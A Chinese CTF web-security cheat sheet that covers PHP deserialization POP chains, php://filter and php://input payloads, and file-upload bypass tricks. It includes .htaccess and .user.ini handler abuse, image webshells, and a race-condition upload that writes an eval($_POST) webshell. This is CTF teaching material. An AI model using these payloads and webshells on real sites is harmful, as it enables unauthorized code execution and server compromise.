CTF - Web 干货
目录
1、php反序列化之pop链构造
2、常见php伪协议的使用
(1)php://filter
(2)php://input
3、文件上传常规操作
(1) 前端绕过
(2) 修改文件类型
(3) 配合.user.ini 或.htaccess解析
(4) 爆破可解析后缀
(5) 针对Windows系统特性的绕过
(6) 文件包含结合图片马
(7) 条件竞争
1、php反序列化之pop链构造
常见魔术方法的触发
__construct() //创建类对象时调用 __destruct() //对象被销毁时触发 __call() //在对象中调用不可访问的方法时触发 __callStatic() //在静态方式中调用不可访问的方法时触发 __get() //调用类中不存在变量时触发(找有连续箭头的 this->a->b) __set() //给一个未定义的属性赋值时触发 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __sleep() //使用serialize()时触发 __wakeup() //执行unserialize()时触发 __toString() //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等) __invoke() //对象被当做函数进行调用时触发(找有括号的类似$a()这种) __set_state() //使用var_export()时触发 __clone() //对象复制完成时调用 __autoload() //实例化一个未定义的类时触发 __debugInfo() //使用var_dump时触发
典型例题:[NISACTF 2022]babyserialize
NSSCTF 靶场地址:NSSCTF | 在线CTF平台
详细解题过程参考我之前的博客:https://myon6.blog.csdn.net/article/details/131565599?spm=1001.2014.3001.5502
2、常见php伪协议的使用
文件包含:
常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
文件包含函数:
1、include 2、require 3、include_once 4、require_once 5、highlight_file 6、show_source 7、flie 8、readfile 9、file_get_contents 10、file_put_contents 11、fopen
存在文件包含时就应该想到 php 伪协议的利用
常用的 php 伪协议:
(1)php://filter
用于读取源码
可以获取指定文件源码,当它与包含函数结合时,php://filter 流会被当作 php 文件执行,所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。
convert.iconv.* 的用法:
convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>
<input-encoding> 和 <output-encoding> 就是编码方式,有:
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win*
常用 payload :
最常见的编码方式: ?file=php://filter/read=convert.base64-encode/resource=flag.php替换编码方式绕过的例子: ?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php ?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
(2)php://input
用于执行 PHP 代码
可以访问请求的原始数据的只读流,将post请求的数据当作 php 代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时 post 写入想要执行的 php 代码,php 执行时会将 post 内容当作文件内容,从而导致任意代码执行。
例如: http://127.0.0.1/cmd.php?cmd=php://input POST数据:<?php phpinfo()?>
典型例题:攻防世界的 fileclude 和 file_include
攻防世界靶场地址:https://adworld.xctf.org.cn/
详细解题过程可以参考我之前的博客:
https://myon6.blog.csdn.net/article/details/130188333
https://myon6.blog.csdn.net/article/details/130176864
3、文件上传常规操作
(1) 前端绕过
使用 BurpSuite 抓包改后缀即可
(2) 修改文件类型
将 Content-Type 改为 image/jpeg
(3) 配合.user.ini 或.htaccess解析
这两个配置文件都可以使我们上传的图像类文件被当作php文件解析
关于这两个文件的基本内容:
.htaccess
<FilesMatch ".jpg">SetHandler application/x-httpd-php
</FilesMatch>
.user.ini
auto_prepend_file=my.jpg
等号后面的 my.jpg 就是你要上传的 jpg 类型的一句话木马的文件名
(4) 爆破可解析后缀
使用burpsuite爆破可能被解析的后缀
比如:
php2、php3、php4、php5、phps、pht、phtm、phtml、phpt、shtml 、pwml等等
(也可以结合大小写绕过)
(5) 针对Windows系统特性的绕过
空格绕过、点绕过、::$DATA绕过
原理:Windows系统对于文件的重命名会自动把空格、点、::$DATA 去掉
因此我们可以在文件后缀添加空格、点、::$DATA 进行绕过(是在 burpsuite 抓包后修改)
(6) 文件包含结合图片马
文件包含漏洞:是指未对文件进行严格过滤,在代码中引入其他文件作为php文件执行。
图片马生成可以使用copy命令
copy 1.jpg/b + shell.php 2.jpg
生成的2.jpg就是一个图片马
(7) 条件竞争
条件竞争原理:当我们成功上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。
上传的大致内容为:
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
需要结合 burpsuite 设置上传包和访问包的线程数
详细解释参考我之前的博客:https://myon6.blog.csdn.net/article/details/133562672
相关文章:
CTF - Web 干货
目录 1、php反序列化之pop链构造 2、常见php伪协议的使用 (1)php://filter (2)php://input 3、文件上传常规操作 (1) 前端绕过 (2) 修改文件类型 (3) 配合.user.ini 或.htaccess解析 (4) 爆破可解析后缀 (5) 针对Windows…...
mobi文件怎么转换成pdf?
mobi文件怎么转换成pdf?在数字化时代,电子书籍成为了越来越受欢迎的阅读方式。我们可以通过多种格式的电子书来获取知识和娱乐,其中一种常见的格式就是Mobi文件。Mobi文件是亚马逊公司开发的一种电子书格式,它主要用于Kindle设备和…...
spakr 提交任务
当前集群支持3中集群管理 Standalone(spak框架自身拥有能力)Apache Mesos Hadoop YARN Kubernetes 使用/spark-submit脚本提交任务,脚本后面可以接参数 ./bin/spark-submit \--class <main-class> \--master <master-url> \--de…...
What is `addFormattersdoes` in `WebMvcConfigurer` ?
addFormatters 方法在SpringMVC框架中主要用于向Spring容器注册自定义的格式化器(Formatter) SpringMVC内置了一系列的标准格式化器,用于处理日期、数字和其他常见类型的转换。 开发者也可以通过实现 WebMvcConfigurer 接口,并重写…...
新冠疫情数据可视化分析大屏
项目背景: 新冠疫情的爆发对全球造成了深远的影响,实时监控和数据分析成为公共卫生管理的重要组成部分。为了更好地追踪疫情动态,本项目旨在开发一个集疫情数据采集、处理、分析与可视化于一体的大屏监控系统。 项目介绍: 本项…...
c#异形窗体遮罩效果
c#异形窗体遮罩效果,移动,关闭,最大化,最小化,还原操作 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Drawing.Drawing2D…...
橘子学Mybatis07之Mybatis关于缓存的设计
很逆天的一件事是,我上一次发mybatis是在2022年10月15号,然后直到今天才开始总结下一篇Mybatis的东西。一年里面忙成那啥了,而且重心都投入在了Elasticsearch的学习上面,基本一年下来都在搞ES,并且考下了ECE认证&#…...
怎样制作一本旅游电子相册呢?
随着数码技术的发展,旅游电子相册已成为越来越多旅游爱好者的必备工具。它不仅能让您随时随地欣赏自己的旅行回忆,还能分享给亲朋好友,甚至上传到社交媒体上,让更多人了解您的旅行故事。那么,如何制作一本精美的旅游…...
Windows搭建OpenCV环境(Python+Anaconda)
Windows搭建OpenCV环境(PythonAnacondapycharm) Anaconda,中文大蟒蛇,是一个开源的Python发行版本,其包含了conda、Python等180多个科学包及其依赖项。其中包含python调opencv相关的依赖,相当于大礼包全家桶。 下载地址…...
linux-等保三级脚本(2)
该脚本主要是针对 CentOS Linux 7 合规基线加固的一些配置操作,包括创建用户、安全审计配置、入侵防范配置、访问控制配置、身份鉴别策略配置等。如果您需要在脚本中添加公司网址,您可以在适当的位置添加相应的内容。不过请注意,在实际生产环…...
【论文阅读】Consistency Models
文章目录 IntroductionDiffusion ModelsConsistency ModelsDefinitionParameterizationSampling Training Consistency Models via DistillationTraining Consistency Models in IsolationExperiment Introduction 相比于单步生成的模型(例如 GANs, VAEs, normalizi…...
Ceph应用管理
目录 资源池 Pool 管理 创建 CephFS 文件系统 MDS 接口 服务端操作 客户端操作 创建 Ceph 块存储系统 RBD 接口 创建 Ceph 对象存储系统 RGW 接口 OSD 故障模拟与恢复 资源池 Pool 管理 我们如何向 Ceph 中存储数据呢?首先我们需要在 Ceph 中定义一个 Pool…...
大师学SwiftUI第6章 - 声明式用户界面 Part 3
安全域视图 SwiftUI还内置了创建安全文本框的视图。这一视图会把用户输入的字符替换成点以及隐藏敏感信息,比如密码。 SecureField(String, text: Binding):该初始化方法创建一个安全输入框。第一个参数定义占位文本,text参数为存储…...
使用AI自动生成PPT提高制作效率
使用AI自动生成PPT提高制作效率 在制作PPT方面,很多制作者都会轻易跳进一个怪圈:“我要制作一个关于关爱老人的PPT,该怎么做呢,有模板没有?”这个会涉及很多逻辑需要经过不断的思考,制作PPT要通过很多素材、使用技巧、…...
Servlet中访问网页常遇到的问题
网页出现404 出现这一种情况是浏览器访问的资源不存在 第一种情况通常是路径出错请检查你的路径是否一致 第二种情况确认你的webapp是否被正确加载 smart tomcat由于只加载一个webapp 如果加载失败 就会直接启动失败 拷贝war方式到Tomcat要加载多个webapp如果失败只有日志 查…...
Vue加载序列帧动图
解读方法 使用<img :src"currentFrame" alt"加载中" /> 加载图片动态更改src的值使用 requestAnimationFrame 定时更新在需要的页面调用封装的组件 <LoadToast v-if"showLoading" /> 封装组件 <template><div class"…...
k8s的配置资源管理
1、configmap*:1.2加入新的特征(重点) 2、secret:保存密码,token,保存敏感的k8s资源(保存加密的信息) (1)敏感的k8s资源,这类数据可以直接存放在…...
vue 指定区域可拖拽的限定拖拽区域的div(如仅弹窗标题可拖拽的弹窗)
<template><div class"container" ref"container"><div class"drag-box" v-drag><div class"win_head">弹窗标题</div><div class"win_content">弹窗内容</div></div><…...
【idea】idea插件编写教程,博主原创idea插件已上架idea插件市场 欢迎下载
前言:经常使用Objects.equals(a,b)方法的同学 应该或多或少都会因为粗心而传错参, 例如日常开发中 我们使用Objects.equals去比较 status(入参),statusEnum(枚举), 很容易忘记statusEnum.getCode() 或 statusEnum.getVaule() ,再比…...
探索Python数据结构与算法:解锁编程的无限可能
文章目录 一、引言1.1 数据结构与算法对于编程的重要性1.2 Python作为实现数据结构与算法的强大工具 二、列表和元组2.1 列表:创建列表、索引、切片和常用操作2.2 元组:不可变序列的特性和使用场景 三、字符串操作和正则表达式3.1 字符串的常见操作和方法…...
深入解析Infineon BTS54040-LBF高边芯片的SPI控制与汽车电子应用
1. BTS54040-LBF高边芯片的核心特性解析 第一次接触英飞凌的BTS54040-LBF时,我正负责一个汽车氛围灯控制项目。这块指甲盖大小的芯片让我印象深刻——它把四路高边开关、SPI控制和完善的保护机制集成在单个封装里。先说说最关键的几个特性: 四通道智能开…...
探索kedro:数据科学项目的高效管理框架
探索kedro:数据科学项目的高效管理框架 【免费下载链接】kedro Kedro is a toolbox for production-ready data science. It uses software engineering best practices to help you create data engineering and data science pipelines that are reproducible, ma…...
数据科学入门指南:10周掌握数据分析核心技能 [特殊字符]
数据科学入门指南:10周掌握数据分析核心技能 🚀 【免费下载链接】Data-Science-For-Beginners 10 Weeks, 20 Lessons, Data Science for All! 项目地址: https://gitcode.com/GitHub_Trending/da/Data-Science-For-Beginners 想要在数据驱动的时代…...
3大核心优势!Steamless开源工具链实现高效游戏文件DRM移除
3大核心优势!Steamless开源工具链实现高效游戏文件DRM移除 【免费下载链接】Steamless Steamless is a DRM remover of the SteamStub variants. The goal of Steamless is to make a single solution for unpacking all Steam DRM-packed files. Steamless aims to…...
mmdetection训练中断后如何精准恢复epoch?详解resume与配置文件调整
1. 理解训练中断恢复的核心逻辑 当你用mmdetection训练模型时,最崩溃的莫过于训练到第23个epoch突然断电。别慌,恢复训练的关键在于理解三个核心要素的联动关系: 检查点文件(.pth):保存了模型权重、优化器状态和当前epoch数--resu…...
HarmonyOS 实时公交服务开发实战:从零搭建到功能优化
1. 实时公交服务的核心价值与HarmonyOS适配性 站在公交站台掏出手机查看车辆到站时间,这种场景已经成为现代城市生活的常态。实时公交服务之所以成为出行类应用的标配功能,关键在于它解决了用户三大痛点:无效等待焦虑、时间规划困难和路线选择…...
ZYNQ双核通信必看:共享内存的Cache一致性处理实战
ZYNQ双核通信中的Cache一致性实战指南 在嵌入式系统开发中,多核处理器间的数据共享一直是开发者面临的挑战之一。Xilinx ZYNQ系列SoC凭借其ARM双核Cortex-A9架构与可编程逻辑的完美结合,为高性能嵌入式应用提供了强大支持。然而,当两个核心需…...
终极免费图像浏览器:90+格式支持与专业体验指南
终极免费图像浏览器:90格式支持与专业体验指南 【免费下载链接】ImageGlass 🏞 A lightweight, versatile image viewer 项目地址: https://gitcode.com/gh_mirrors/im/ImageGlass ImageGlass是一款专为Windows用户设计的轻量级开源图像浏览器&am…...
Origin绘图进阶:如何在现有图形上叠加散点图与等高线(附完整操作步骤)
Origin高级绘图技巧:散点图与等高线的完美叠加实战指南 科研数据可视化中,单一图表往往难以全面展示复杂数据关系。当您需要在同一坐标系中同时呈现离散数据点与连续趋势时,散点图与等高线的组合堪称黄金搭档。这种混合图表特别适合展现发动机…...
ES10(ES2019)新特性完整指南
ES10(ES2019)新特性发布时间:2019年6月 ES10 新增了数组扁平化、对象转换、字符串修剪等实用方法。1. Array.prototype.flat() 将嵌套数组"拉平",返回一个新数组: 基本用法 [1, 2, [3, 4]].flat(); //…...
